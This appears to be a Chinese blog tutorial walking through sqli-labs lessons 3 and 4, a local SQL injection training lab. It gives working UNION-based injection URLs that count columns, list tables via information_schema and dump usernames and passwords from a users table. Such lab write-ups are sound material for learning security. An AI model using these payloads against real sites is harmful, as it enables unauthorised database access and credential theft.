sqli3-4

qli_labs第三关

1.安装phpstudy和搭建靶场环境

  1. https://github.com/Audi-1/sqli-labs下载源代码
  2. 搭建环境用的是phpstudy
  3. 编辑sqli\sql-connections\db-creds.inc文件 修改mysql链接数据库帐号密码。具体自行百度

2.修改一下第一个index.php 的代码,让我们更好理解

sqli3-4

3.选择第三关,并在url最后面加上?id=1,出来如下界面

sqli3-4

4.判断是否有注入(判断是否未严格校验)

  1. 可控参数的改变能否影响页面显示结果

  sqli3-4

       2.是什么类型的注入

  sqli3-4

5.猜字段数量(使用order by 猜字段)  

  1. http://127.0.0.1/sqli-labs/sqli-labs-master/Less-3/?id=1') order by 3--+     //结果显示正常

  sqli3-4

  2. http://127.0.0.1/sqli-labs/sqli-labs-master/Less-3/?id=1') order by 4--+     //结果显示错误表示字段数量为3

  sqli3-4

6.将id=1改为一个数据库不存在的id值,如-1,使用union select 1,2,3联合查询语句查看页面是否有显示位。

  1. http://127.0.0.1/sqli-labs/sqli-labs-master/Less-3/?id=-1') union select 1,2,3 --+//发现页面先输出了2和3,说明有2个显示位

  sqli3-4

7.利用mysql>5.0版本的一个数据库information_schema(可以查询数据库的表,字段,数据)

  1. information_schema下有两个比较重要的表tables,columns(一个查表的,一个是查字段的)

  sqli3-4

  2. tables表下有几个重要字段

  sqli3-4

  3. columns表下有几个重要字段

  sqli3-4

 

8.开始注出数据

  1.  使用下面的句子可注出当前数据库的所有表名

  http://127.0.0.1/sqli-labs/sqli-labs-master/Less-3/index.php?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

   sqli3-4

  2. 选择一个注出来的表名,通过information_schema数据库下columns表注出该表名所有字段

   http://127.0.0.1/sqli-labs/sqli-labs-master/Less-3/index.php?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and  table_name='users'--+     

  sqli3-4  

  3. 通过上述知道的数据库,表,字段,我们便可以注出数据

  http://127.0.0.1/sqli-labs/sqli-labs-master/Less-3/index.php?id=-1') union select 1,group_concat(concat_ws(':',id,username,password)),3 from users--+

  sqli3-4

 

qli_labs第四关

跟第三关一样,只是第三关的单引号,第四关变成了双引号,所有我就不重复执行了

sqli3-4

 

最后我总结一下:小白选手,要是啥讲错了的或者没注意到的地方欢迎大佬们斧正!

上一篇:Android 网络开发抓包工具Fiddler、tcpdump和Wireshark的使用


下一篇:MySQL优化5之CPU消耗过高(一条慢SQL拖死整个系统)